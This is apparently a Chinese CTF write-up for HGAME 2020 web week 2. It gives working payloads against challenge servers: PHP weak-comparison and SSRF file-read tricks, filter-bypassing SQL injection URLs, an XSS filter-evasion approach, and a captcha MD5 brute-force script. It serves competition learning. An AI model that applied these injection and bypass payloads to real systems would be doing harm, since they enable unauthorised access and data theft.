HGAME 2020 web week2 writeup

Cosmos的博客后台

使用伪协议读取代码后发现可以直接通过所谓的debug模式进行用户名和密码的读取
密码可以随便找一个md5加密后0e开头的字符串进行弱类型比较，进入后台后发现是一个ssrf的模板，直接使用file协议跨目录对根目录下的flag进行读取file://localhost/../../../../flag，解一下图片的base64

Cosmos的留言板-1

过滤了空格，使用/**/代替，双写select后即可进行注入
http://139.199.182.61/index.php?id=-1%27/**/union/**/seselectlect/**/(seselectlect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())%23
http://139.199.182.61/index.php?id=-1%27/**/union/**/seselectlect/**/(seselectlect/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=%27f1aggggggggggggg%27)%23
http://139.199.182.61/index.php?id=-1%27/**/union/**/seselectlect/**/(seselectlect/**/fl4444444g/**/from/**/f1aggggggggggggg)%23

Cosmos的新语言

直接贴脚本了

function decrypt($str){
	$result = '';
	for($i = 0;$i < strlen($str);$i++)
	{
		$result .= chr(ord($str[$i]) - 1);
	}
	return $result;
}
function getNeedBetween($kw1,$mark1,$mark2){
$kw=$kw1;
$kw='123'.$kw.'123';
$st =stripos($kw,$mark1);
$ed =stripos($kw,$mark2);
if(($st==false||$ed==false)||$st>=$ed)
return 0;
$kw=substr($kw,($st+1),($ed-$st-1));
return $kw;
}
function send_post($url, $post_data) {
    $postdata = http_build_query($post_data);
    $options = array(
    'http' => array(
        'method' => 'POST',
        'header' => 'Content-type:application/x-www-form-urlencoded',
        'content' => $postdata
    )
  );
    $context = stream_context_create($options);
    $result = file_get_contents($url, false, $context);
    return $result;
}
$url = "http://59bca5b1ca.php.hgame.n3ko.co/";
$url2 = "http://59bca5b1ca.php.hgame.n3ko.co/mycode";
$html = file_get_contents($url);
$html2 = file_get_contents($url2);
//echo $html;
//echo $html2;
$encode = "PVVXTjVVak80Z0RON01tT3pnVE40TWpOa3BqWjNVR09vbHpPMFFtTzBjalo=";
$result = explode('(', $html2);
$arr = array();
for ($i=6; $i <=15 ; $i++) { 
	array_push($arr,$result[$i]);
}
var_dump($arr);
$encode = substr(strip_tags($html),95);
//var_dump($encode);
for ($i=0; $i<10 ; $i++) { 
	if($arr[$i] == 'str_rot13')
	{
		$encode = str_rot13($encode);
	}
	if($arr[$i] == 'encrypt')
	{
		$encode = decrypt($encode);
	}
	if($arr[$i] == 'base64_encode')
	{
		$encode = base64_decode($encode);
	}
	if($arr[$i] == 'strrev')
	{
		$encode = strrev($encode);
	}
}
echo $encode;
$post_data = array('token'=>$encode);
echo send_post('http://59bca5b1ca.php.hgame.n3ko.co/index.php',$post_data);
?>

Cosmos的聊天室

过滤了成对的尖括号，将输入的内容大写并且直接将script替换为无意义的字符，参考手册

https://www.secpulse.com/archives/61940.html

首先利用括号半开解决成对尖括号被过滤的问题，然后十进制的方式同时解决了script和内容大写的问题，最后找个xss平台接收一发

至于验证码用现成的脚本就好

import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef

def md5(s):  # 计算MD5字符串
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()


keymd5 = '3849c2'   #已知的md5截断值
md5start = 0   # 设置题目已知的截断位置
md5length = 6

def findmd5(sss):    # 输入范围 里面会进行md5测试
    key = sss.split(':')
    start = int(key[0])   # 开始位置
    end = int(key[1])    # 结束位置
    result = 0
    for i in range(start, end):
        # print(md5(i)[md5start:md5length])
        if md5(i)[0:6] == keymd5:            # 拿到加密字符串
            result = i
            print(result)    # 打印
            break


list=[]  # 参数列表
for i in range(10):   # 多线程的数字列表 开始与结尾
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool()    # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()

替换一下token即可完成flag的获取